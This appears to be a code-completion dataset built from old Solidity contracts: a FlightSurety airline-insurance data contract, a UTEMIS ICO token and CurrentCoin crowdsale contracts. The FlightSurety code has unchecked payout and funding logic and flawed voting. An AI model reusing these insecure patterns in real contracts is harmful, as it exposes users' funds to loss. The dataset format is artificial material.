contractOwner, isRegistered : true, isAuthorized : true, operationalVote : true }); authorizedAirlineCount = authorizedAirlineCount.add(1); emit RegisteredAirline(contractOwner); } /********************************************************************************************/ /* FUNCTION MODIFIERS */ /********************************************************************************************/ // Modifiers help avoid duplication of code. They are typically used to validate something // before a function is allowed to be executed. /** * @dev Modifier that requires the "operational" boolean variable to be "true" * This is used on all state changing functions to pause the contract in * the event there is an issue that needs to be fixed */ modifier requireIsAuthorized() { require(airlines[msg.sender].isAuthorized, "Airline needs to be authorized"); _; } modifier requireIsOperational() { require(operational, "Contract is currently not operational"); _; // All modifiers require an "_" which indicates where the function body will be added } /** * @dev Modifier that requires the "ContractOwner" account to be the function caller */ modifier requireContractOwner() { require(msg.sender == contractOwner, "Caller is not contract owner"); _; } /********************************************************************************************/ /* UTILITY FUNCTIONS */ /********************************************************************************************/ /** * @dev Get operating status of contract * * @return A bool that is the current operating status */ function isOperational() public view returns (bool) { return operational; } /** * @dev Sets contract operations on/off * * When operational mode is disabled, all write transactions except for this one will fail */ function setOperatingStatus(bool mode) external requireContractOwner { address caller = msg.sender; if (authorizedAirlineCount < MAX_NO_OF_AIRLINES) { operational = mode; } else { //use multi-party consensus amount authorized airlines to reach 50% aggreement changeOperatingStatusVotes = changeOperatingStatusVotes.add(1); airlines[caller].operationalVote = mode; if (changeOperatingStatusVotes >= (authorizedAirlineCount.div(2))) { operational = mode; changeOperatingStatusVotes = authorizedAirlineCount - changeOperatingStatusVotes; } } } /********************************************************************************************/ /* SMART CONTRACT FUNCTIONS */ /********************************************************************************************/ /** * @dev Add an airline to the registration queue * Can only be called from FlightSuretyApp contract * */ function registerAirline(string name, address airline) external requireIsOperational { require(!airlines[airline].isRegistered,"This airline is already registered."); if(authorizedAirlineCount <= MAX_NO_OF_AIRLINES){ airlines[airline] = Airline({ name: name, account: airline, isRegistered: true, isAuthorized: false, operationalVote: true }); authorizedAirlineCount = authorizedAirlineCount.add(1); } emit RegisteredAirline(airline); } /** * @dev Check if an airline is registered or not. * */ function isAirline(address airline) public returns (bool) { return airlines[airline].isRegistered; } /** * @dev Buy insurance for a flight * */ function buy(address airline, address insuree, string flight, uint256 timeStamp, uint256 amount) external payable requireIsOperational { require(insurees[insuree].account == insuree,"need to provide insuree account address"); require(msg.sender == insuree, "insuree calls this function"); require(amount == msg.value,"amount must equal value sent"); bytes32 key = getFlightKey(airline, flight, timeStamp); airline.transfer(amount); insurees[insuree].insuranceAmount += amount; insuranceBalance += amount; emit BoughtInsurence(msg.sender, key, amount); } /** * @dev Credits payouts to insurees */ function creditInsurees(address airline, address insuree, uint256 creditAmount) requireIsOperational external { require(insurees[insuree].insuranceAmount >= creditAmount); insurees[insuree].payoutBalance = creditAmount; emit CreditInsuree(airline,insuree,creditAmount); } /** * @dev Transfers eligible payout funds to insuree * */ function pay(address airline, address insuree, uint256 payoutAmount) external requireIsOperational { require(msg.sender == airline); insurees[insuree].account.transfer(payoutAmount); emit PayInsuree(airline, insuree, payoutAmount); } /** * @dev Initial funding for the insurance. Unless there are too many delayed flights * resulting in insurance payouts, the contract should be self-sustaining * */ function fund(address airline) public payable requireIsOperational { require(msg.value >= MAX_FUND_LIMIT, "Insufficient funds"); require(airlines[airline].isRegistered, "Sending account must be registered before it can be funded"); uint256 totalAmount = totalAmount.add(msg.value); airline.transfer(msg.value); //their code has the totalAmount being transferred to the contract account. Why? if (!airlines[airline].isAuthorized) { airlines[airline].isAuthorized = true; authorizedAirlineCount = authorizedAirlineCount.add(1); emit AuthorizedAirline(airline); } } function getFlightKey(address airline, string memory flight, uint256 timestamp) pure internal returns (bytes32) { return keccak256(abi.encodePacked(airline, flight, timestamp)); } /** * @dev Fallback function for funding smart contract. * */ function() external payable { fund(msg.sender); } }
Add an airline to the registration queue Can only be called from FlightSuretyApp contract/
function registerAirline(string name, address airline) external requireIsOperational { require(!airlines[airline].isRegistered,"This airline is already registered."); if(authorizedAirlineCount <= MAX_NO_OF_AIRLINES){ airlines[airline] = Airline({ name: name, account: airline, isRegistered: true, isAuthorized: false, operationalVote: true }); authorizedAirlineCount = authorizedAirlineCount.add(1); } emit RegisteredAirline(airline); }
13,048,868
//Address: 0x78b17cc10c4d34fbf6cb474731f7340e487a5db3 //Contract name: UTEMIS //Balance: 0 Ether //Verification Date: 1/8/2018 //Transacion Count: 187 // CODE STARTS HERE pragma solidity ^0.4.19; contract UTEMIS{ /******************** Public constants ********************/ // Days of ico since it is deployed uint public constant ICO_DAYS = 59; // Minimum value accepted for investors. n wei / 10 ^ 18 = n Ethers uint public constant MIN_ACCEPTED_VALUE = 50000000000000000 wei; // Value for each UTS uint public constant VALUE_OF_UTS = 666666599999 wei; // Token name string public constant TOKEN_NAME = "UTEMIS"; // Symbol token string public constant TOKEN_SYMBOL = "UTS"; // Total supply of tokens uint256 public constant TOTAL_SUPPLY = 1 * 10 ** 12; // The amount of tokens that will be offered during the ico uint256 public constant ICO_SUPPLY = 2 * 10 ** 11; // Minimum objective uint256 public constant SOFT_CAP = 10000 ether; // 10000 ETH // When the ico Starts - GMT Monday, January 8 , 2018 5:00:00 PM //1515430800; uint public constant START_ICO = 1515430800; /******************** Public variables ********************/ //Owner of the contract address public owner; //Date of end ico uint public deadLine; //Date of start ico uint public startTime; //Balances mapping(address => uint256) public balance_; //Remaining tokens to offer during the ico uint public remaining; //Time of bonus application, could be n minutes , n hours , n days , n weeks , n years uint[4] private bonusTime = [3 days , 17 days , 31 days , 59 days]; //Amount of bonus applicated uint8[4] private bonusBenefit = [uint8(40) , uint8(25) , uint8(20) , uint8(15)]; uint8[4] private bonusPerInvestion_5 = [uint8(0) , uint8(5) , uint8(3) , uint8(2)]; uint8[4] private bonusPerInvestion_10 = [uint8(0) , uint8(10) , uint8(5) , uint8(3)]; //The accound that receives the ether when the ico is succesful. If not defined, the beneficiary will be the owner address private beneficiary; //State of ico bool private ico_started; //Ethers collected during the ico uint256 public ethers_collected; //ETH Balance of contract uint256 private ethers_balance; //Struct data for store investors struct Investors{ uint256 amount; uint when; } //Array for investors mapping(address => Investors) private investorsList; address[] private investorsAddress; //Events event Transfer(address indexed from , address indexed to , uint256 value); event Burn(address indexed from, uint256 value); event FundTransfer(address backer , uint amount , address investor); //Safe math function safeSub(uint a , uint b) internal pure returns (uint){assert(b <= a);return a - b;} function safeAdd(uint a , uint b) internal pure returns (uint){uint c = a + b;assert(c>=a && c>=b);return c;} modifier onlyOwner() { require(msg.sender == owner); _; } modifier icoStarted(){ require(ico_started == true); require(now <= deadLine); require(now >= START_ICO); _; } modifier icoStopped(){ require(ico_started == false); require(now > deadLine); _; } modifier minValue(){ require(msg.value >= MIN_ACCEPTED_VALUE); _; } //Contract constructor function UTEMIS() public{ balance_[msg.sender] = TOTAL_SUPPLY; //Transfer all tokens to main account owner = msg.sender; //Set the variable owner to creator of contract deadLine = START_ICO + ICO_DAYS * 1 days; //Declare deadLine startTime = now; //Declare startTime of contract remaining = ICO_SUPPLY; //The remaining tokens to sell ico_started = false; //State of ico } /** * For transfer tokens. Internal use, only can executed by this contract * * @param _from Source address * @param _to Destination address * @param _value Amount of tokens to send */ function _transfer(address _from , address _to , uint _value) internal{ require(_to != 0x0); //Prevent send tokens to 0x0 address require(balance_[_from] >= _value); //Check if the sender have enough tokens require(balance_[_to] + _value > balance_[_to]); //Check for overflows balance_[_from] = safeSub(balance_[_from] , _value); //Subtract from the source ( sender ) balance_[_to] = safeAdd(balance_[_to] , _value); //Add tokens to destination uint previousBalance = balance_[_from] + balance_[_to]; //To make assert Transfer(_from , _to , _value); //Fire event for clients assert(balance_[_from] + balance_[_to] == previousBalance); //Check the assert } /** * For transfer tokens from owner of contract * * @param _to Destination address * @param _value Amount of tokens to send */ function transfer(address _to , uint _value) public onlyOwner{ _transfer(msg.sender , _to , _value); //Internal transfer } /** * ERC20 Function to know's the balances * * @param _owner Address to check * @return uint Returns the balance of indicated address */ function balanceOf(address _owner) constant public returns(uint balances){ return balance_[_owner]; } /** * Get investors info * * @return [] Returns an array with address of investors, amount invested and when invested */ function getInvestors() constant public returns(address[] , uint[] , uint[]){ uint length = investorsAddress.length; //Length of array address[] memory addr = new address[](length); uint[] memory amount = new uint[](length); uint[] memory when = new uint[](length); for(uint i = 0; i < length; i++){ address key = investorsAddress[i]; addr[i] = key; amount[i] = investorsList[key].amount; when[i] = investorsList[key].when; } return (addr , amount , when); } /** * Get total tokens distributeds * * @return uint Returns total tokens distributeds */ function getTokensDistributeds() constant public returns(uint){ return ICO_SUPPLY - remaining; } /** * Get amount of bonus to apply * * @param _ethers Amount of ethers invested, for calculation the bonus * @return uint Returns a % of bonification to apply */ function getBonus(uint _ethers) public view returns(uint8){ uint8 _bonus = 0; //Assign bonus to uint8 _bonusPerInvestion = 0; uint starter = now - START_ICO; //To control end time of bonus for(uint i = 0; i < bonusTime.length; i++){ //For loop if(starter <= bonusTime[i]){ //If the starter are greater than bonusTime, the bonus will be 0 if(_ethers >= 5 ether && _ethers < 10 ether){ _bonusPerInvestion = bonusPerInvestion_5[i]; } if(_ethers > 10 ether){ _bonusPerInvestion = bonusPerInvestion_10[i]; } _bonus = bonusBenefit[i]; //Asign amount of bonus to bonus_ variable break; //Break the loop } } return _bonus + _bonusPerInvestion; } /** * Escale any value to n * 10 ^ 18 * * @param _value Value to escale * @return uint Returns a escaled value */ function escale(uint _value) private pure returns(uint){ return _value * 10 ** 18; } /** * Calculate the amount of tokens to sends depeding on the amount of ethers received * * @param _ethers Amount of ethers for convert to tokens * @return uint Returns the amount of tokens to send */ function getTokensToSend(uint _ethers) public view returns (uint){ uint tokensToSend = 0; //Assign tokens to send to 0 uint8 bonus = getBonus(_ethers); //Get amount of bonification uint ethToTokens = _ethers / VALUE_OF_UTS; //Make the conversion, divide amount of ethers by value of each UTS uint amountBonus = escale(ethToTokens) / 100 * escale(bonus); uint _amountBonus = amountBonus / 10 ** 36; tokensToSend = ethToTokens + _amountBonus; return tokensToSend; } /** * Set the beneficiary of the contract, who receives Ethers * * @param _beneficiary Address that will be who receives Ethers */ function setBeneficiary(address _beneficiary) public onlyOwner{ require(msg.sender == owner); //Prevents the execution of another than the owner beneficiary = _beneficiary; //Set beneficiary } /** * Start the ico manually * */ function startIco() public onlyOwner{ ico_started = true; //Set the ico started } /** * Stop the ico manually * */ function stopIco() public onlyOwner{ ico_started = false; //Set the ico stopped } /** * Give back ethers to investors if soft cap is not reached * */ function giveBackEthers() public onlyOwner icoStopped{ require(this.balance >= ethers_collected); //Require that the contract have ethers uint length = investorsAddress.length; //Length of array for(uint i = 0; i < length; i++){ address investorA = investorsAddress[i]; uint amount = investorsList[investorA].amount; if(address(beneficiary) == 0){ beneficiary = owner; } _transfer(investorA , beneficiary , balanceOf(investorA)); investorA.transfer(amount); } } /** * Fallback when the contract receives ethers * */ function () payable public icoStarted minValue{ uint amount_actually_invested = investorsList[msg.sender].amount; //Get the actually amount invested if(amount_actually_invested == 0){ //If amount invested are equal to 0, will add like new investor uint index = investorsAddress.length++; investorsAddress[index] = msg.sender; investorsList[msg.sender] = Investors(msg.value , now); //Store investors info } if(amount_actually_invested > 0){ //If amount invested are greater than 0 investorsList[msg.sender].amount += msg.value; //Increase the amount invested investorsList[msg.sender].when = now; //Change the last time invested } uint tokensToSend = getTokensToSend(msg.value); //Calc the tokens to send depending on ethers received remaining -= tokensToSend; //Subtract the tokens to send to remaining tokens _transfer(owner , msg.sender , tokensToSend); //Transfer tokens to investor require(balance_[owner] >= (TOTAL_SUPPLY - ICO_SUPPLY)); //Requires not selling more tokens than those proposed in the ico require(balance_[owner] >= tokensToSend); if(address(beneficiary) == 0){ //Check if beneficiary is not setted beneficiary = owner; //If not, set the beneficiary to owner } ethers_collected += msg.value; //Increase ethers_collected ethers_balance += msg.value; if(!beneficiary.send(msg.value)){ revert(); } //Send ethers to beneficiary FundTransfer(owner , msg.value , msg.sender); //Fire events for clients } /** * Extend ICO time * * @param timetoextend Time in miliseconds to extend ico */ function extendICO(uint timetoextend) onlyOwner external{ require(timetoextend > 0); deadLine+= timetoextend; } /** * Destroy contract and send ethers to owner * */ function destroyContract() onlyOwner external{ selfdestruct(owner); } }
For transfer tokens from owner of contract _to Destination address _value Amount of tokens to send/
function transfer(address _to , uint _value) public onlyOwner{ }
887,798
pragma solidity ^0.4.18; // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/lifecycle/Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: contracts/CurrentToken.sol contract CurrentToken is StandardToken, Pausable { string constant public name = "CurrentCoin"; string constant public symbol = "CUR"; uint8 constant public decimals = 18; uint256 constant public INITIAL_TOTAL_SUPPLY = 1e11 * (uint256(10) ** decimals); address private addressIco; modifier onlyIco() { require(msg.sender == addressIco); _; } /** * @dev Create CurrentToken contract and set pause * @param _ico The address of ICO contract. */ function CurrentToken (address _ico) public { require(_ico != address(0)); addressIco = _ico; totalSupply_ = totalSupply_.add(INITIAL_TOTAL_SUPPLY); balances[_ico] = balances[_ico].add(INITIAL_TOTAL_SUPPLY); Transfer(address(0), _ico, INITIAL_TOTAL_SUPPLY); pause(); } /** * @dev Transfer token for a specified address with pause feature for owner. * @dev Only applies when the transfer is allowed by the owner. * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) whenNotPaused public returns (bool) { super.transfer(_to, _value); } /** * @dev Transfer tokens from one address to another with pause feature for owner. * @dev Only applies when the transfer is allowed by the owner. * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) whenNotPaused public returns (bool) { super.transferFrom(_from, _to, _value); } /** * @dev Transfer tokens from ICO address to another address. * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transferFromIco(address _to, uint256 _value) onlyIco public returns (bool) { super.transfer(_to, _value); } /** * @dev Burn remaining tokens from the ICO balance. */ function burnFromIco() onlyIco public { uint256 remainingTokens = balanceOf(addressIco); balances[addressIco] = balances[addressIco].sub(remainingTokens); totalSupply_ = totalSupply_.sub(remainingTokens); Transfer(addressIco, address(0), remainingTokens); } /** * @dev Burn all tokens form balance of token holder during refund process. * @param _from The address of token holder whose tokens to be burned. */ function burnFromAddress(address _from) onlyIco public { uint256 amount = balances[_from]; balances[_from] = 0; totalSupply_ = totalSupply_.sub(amount); Transfer(_from, address(0), amount); } } // File: contracts/Whitelist.sol /** * @title Whitelist contract * @dev Whitelist for wallets. */ contract Whitelist is Ownable { mapping(address => bool) whitelist; uint256 public whitelistLength = 0; /** * @dev Add wallet to whitelist. * @dev Accept request from the owner only. * @param _wallet The address of wallet to add. */ function addWallet(address _wallet) onlyOwner public { require(_wallet != address(0)); require(!isWhitelisted(_wallet)); whitelist[_wallet] = true; whitelistLength++; } /** * @dev Remove wallet from whitelist. * @dev Accept request from the owner only. * @param _wallet The address of whitelisted wallet to remove. */ function removeWallet(address _wallet) onlyOwner public { require(_wallet != address(0)); require(isWhitelisted(_wallet)); whitelist[_wallet] = false; whitelistLength--; } /** * @dev Check the specified wallet whether it is in the whitelist. * @param _wallet The address of wallet to check. */ function isWhitelisted(address _wallet) constant public returns (bool) { return whitelist[_wallet]; } } // File: contracts/Whitelistable.sol contract Whitelistable { Whitelist public whitelist; modifier whenWhitelisted(address _wallet) { require(whitelist.isWhitelisted(_wallet)); _; } /** * @dev Constructor for Whitelistable contract. */ function Whitelistable() public { whitelist = new Whitelist(); } } // File: contracts/CurrentCrowdsale.sol contract CurrentCrowdsale is Pausable, Whitelistable { using SafeMath for uint256; uint256 constant private DECIMALS = 18; uint256 constant public RESERVED_TOKENS_FOUNDERS = 40e9 * (10 ** DECIMALS); uint256 constant public RESERVED_TOKENS_OPERATIONAL_EXPENSES = 10e9 * (10 ** DECIMALS); uint256 constant public HARDCAP_TOKENS_PRE_ICO = 100e6 * (10 ** DECIMALS); uint256 constant public HARDCAP_TOKENS_ICO = 499e8 * (10 ** DECIMALS); uint256 public startTimePreIco = 0; uint256 public endTimePreIco = 0; uint256 public startTimeIco = 0; uint256 public endTimeIco = 0; uint256 public exchangeRatePreIco = 0; bool public isTokenRateCalculated = false; uint256 public exchangeRateIco = 0; uint256 public mincap = 0; uint256 public maxcap = 0; mapping(address => uint256) private investments; uint256 public tokensSoldIco = 0; uint256 public tokensRemainingIco = HARDCAP_TOKENS_ICO; uint256 public tokensSoldTotal = 0; uint256 public weiRaisedPreIco = 0; uint256 public weiRaisedIco = 0; uint256 public weiRaisedTotal = 0; mapping(address => uint256) private investmentsPreIco; address[] private investorsPreIco; address private withdrawalWallet; bool public isTokensPreIcoDistributed = false; uint256 public distributionPreIcoCount = 0; CurrentToken public token = new CurrentToken(this); modifier beforeReachingHardCap() { require(tokensRemainingIco > 0 && weiRaisedTotal < maxcap); _; } modifier whenPreIcoSaleHasEnded() { require(now > endTimePreIco); _; } modifier whenIcoSaleHasEnded() { require(endTimeIco > 0 && now > endTimeIco); _; } /** * @dev Constructor for CurrentCrowdsale contract. * @dev Set the owner who can manage whitelist and token. * @param _mincap The mincap value. * @param _startTimePreIco The pre-ICO start time. * @param _endTimePreIco The pre-ICO end time. * @param _foundersWallet The address to which reserved tokens for founders will be transferred. * @param _operationalExpensesWallet The address to which reserved tokens for operational expenses will be transferred. * @param _withdrawalWallet The address to which raised funds will be withdrawn. */ function CurrentCrowdsale( uint256 _mincap, uint256 _maxcap, uint256 _startTimePreIco, uint256 _endTimePreIco, address _foundersWallet, address _operationalExpensesWallet, address _withdrawalWallet ) Whitelistable() public { require(_foundersWallet != address(0) && _operationalExpensesWallet != address(0) && _withdrawalWallet != address(0)); require(_startTimePreIco >= now && _endTimePreIco > _startTimePreIco); require(_mincap > 0 && _maxcap > _mincap); startTimePreIco = _startTimePreIco; endTimePreIco = _endTimePreIco; withdrawalWallet = _withdrawalWallet; mincap = _mincap; maxcap = _maxcap; whitelist.transferOwnership(msg.sender); token.transferFromIco(_foundersWallet, RESERVED_TOKENS_FOUNDERS); token.transferFromIco(_operationalExpensesWallet, RESERVED_TOKENS_OPERATIONAL_EXPENSES); token.transferOwnership(msg.sender); } /** * @dev Fallback function can be used to buy tokens. */ function() public payable { if (isPreIco()) { sellTokensPreIco(); } else if (isIco()) { sellTokensIco(); } else { revert(); } } /** * @dev Check whether the pre-ICO is active at the moment. */ function isPreIco() public constant returns (bool) { bool withinPreIco = now >= startTimePreIco && now <= endTimePreIco; return withinPreIco; } /** * @dev Check whether the ICO is active at the moment. */ function isIco() public constant returns (bool) { bool withinIco = now >= startTimeIco && now <= endTimeIco; return withinIco; } /** * @dev Manual refund if mincap has not been reached. * @dev Only applies when the ICO was ended. */ function manualRefund() whenIcoSaleHasEnded public { require(weiRaisedTotal < mincap); uint256 weiAmountTotal = investments[msg.sender]; require(weiAmountTotal > 0); investments[msg.sender] = 0; uint256 weiAmountPreIco = investmentsPreIco[msg.sender]; uint256 weiAmountIco = weiAmountTotal; if (weiAmountPreIco > 0) { investmentsPreIco[msg.sender] = 0; weiRaisedPreIco = weiRaisedPreIco.sub(weiAmountPreIco); weiAmountIco = weiAmountIco.sub(weiAmountPreIco); } if (weiAmountIco > 0) { weiRaisedIco = weiRaisedIco.sub(weiAmountIco); uint256 tokensIco = weiAmountIco.mul(exchangeRateIco); tokensSoldIco = tokensSoldIco.sub(tokensIco); } weiRaisedTotal = weiRaisedTotal.sub(weiAmountTotal); uint256 tokensAmount = token.balanceOf(msg.sender); tokensSoldTotal = tokensSoldTotal.sub(tokensAmount); token.burnFromAddress(msg.sender); msg.sender.transfer(weiAmountTotal); } /** * @dev Sell tokens during pre-ICO. * @dev Sell tokens only for whitelisted wallets. */ function sellTokensPreIco() beforeReachingHardCap whenWhitelisted(msg.sender) whenNotPaused public payable { require(isPreIco()); require(msg.value > 0); uint256 weiAmount = msg.value; uint256 excessiveFunds = 0; uint256 plannedWeiTotal = weiRaisedTotal.add(weiAmount); if (plannedWeiTotal > maxcap) { excessiveFunds = plannedWeiTotal.sub(maxcap); weiAmount = maxcap.sub(weiRaisedTotal); } investments[msg.sender] = investments[msg.sender].add(weiAmount); weiRaisedPreIco = weiRaisedPreIco.add(weiAmount); weiRaisedTotal = weiRaisedTotal.add(weiAmount); addInvestmentPreIco(msg.sender, weiAmount); if (excessiveFunds > 0) { msg.sender.transfer(excessiveFunds); } } /** * @dev Sell tokens during ICO. * @dev Sell tokens only for whitelisted wallets. */ function sellTokensIco() beforeReachingHardCap whenWhitelisted(msg.sender) whenNotPaused public payable { require(isIco()); require(msg.value > 0); uint256 weiAmount = msg.value; uint256 excessiveFunds = 0; uint256 plannedWeiTotal = weiRaisedTotal.add(weiAmount); if (plannedWeiTotal > maxcap) { excessiveFunds = plannedWeiTotal.sub(maxcap); weiAmount = maxcap.sub(weiRaisedTotal); } uint256 tokensAmount = weiAmount.mul(exchangeRateIco); if (tokensAmount > tokensRemainingIco) { uint256 weiToAccept = tokensRemainingIco.div(exchangeRateIco); excessiveFunds = excessiveFunds.add(weiAmount.sub(weiToAccept)); tokensAmount = tokensRemainingIco; weiAmount = weiToAccept; } investments[msg.sender] = investments[msg.sender].add(weiAmount); tokensSoldIco = tokensSoldIco.add(tokensAmount); tokensSoldTotal = tokensSoldTotal.add(tokensAmount); tokensRemainingIco = tokensRemainingIco.sub(tokensAmount); weiRaisedIco = weiRaisedIco.add(weiAmount); weiRaisedTotal = weiRaisedTotal.add(weiAmount); token.transferFromIco(msg.sender, tokensAmount); if (excessiveFunds > 0) { msg.sender.transfer(excessiveFunds); } } /** * @dev Send raised funds to the withdrawal wallet. */ function forwardFunds() onlyOwner public { require(weiRaisedTotal >= mincap); withdrawalWallet.transfer(this.balance); } /** * @dev Calculate token exchange rate for pre-ICO and ICO. * @dev Only applies when the pre-ICO was ended. * @dev May be called only once. */ function calcTokenRate() whenPreIcoSaleHasEnded onlyOwner public { require(!isTokenRateCalculated); require(weiRaisedPreIco > 0); exchangeRatePreIco = HARDCAP_TOKENS_PRE_ICO.div(weiRaisedPreIco); exchangeRateIco = exchangeRatePreIco.div(2); isTokenRateCalculated = true; } /** * @dev Distribute tokens to pre-ICO investors using pagination. * @dev Pagination proceeds the set value (paginationCount) of tokens distributions per one function call. * @param _paginationCount The value that used for pagination. */ function distributeTokensPreIco(uint256 _paginationCount) onlyOwner public { require(isTokenRateCalculated && !isTokensPreIcoDistributed); require(_paginationCount > 0); uint256 count = 0; for (uint256 i = distributionPreIcoCount; i < getPreIcoInvestorsCount(); i++) { if (count == _paginationCount) { break; } uint256 investment = getPreIcoInvestment(getPreIcoInvestor(i)); uint256 tokensAmount = investment.mul(exchangeRatePreIco); tokensSoldTotal = tokensSoldTotal.add(tokensAmount); token.transferFromIco(getPreIcoInvestor(i), tokensAmount); count++; } distributionPreIcoCount = distributionPreIcoCount.add(count); if (distributionPreIcoCount == getPreIcoInvestorsCount()) { isTokensPreIcoDistributed = true; } } /** * @dev Burn unsold tokens from the ICO balance. * @dev Only applies when the ICO was ended. */ function burnUnsoldTokens() whenIcoSaleHasEnded onlyOwner public { require(tokensRemainingIco > 0); token.burnFromIco(); tokensRemainingIco = 0; } /** * @dev Count the pre-ICO investors total. */ function getPreIcoInvestorsCount() constant public returns (uint256) { return investorsPreIco.length; } /** * @dev Get the pre-ICO investor address. * @param _index the index of investor in the array. */ function getPreIcoInvestor(uint256 _index) constant public returns (address) { return investorsPreIco[_index]; } /** * @dev Gets the amount of tokens for pre-ICO 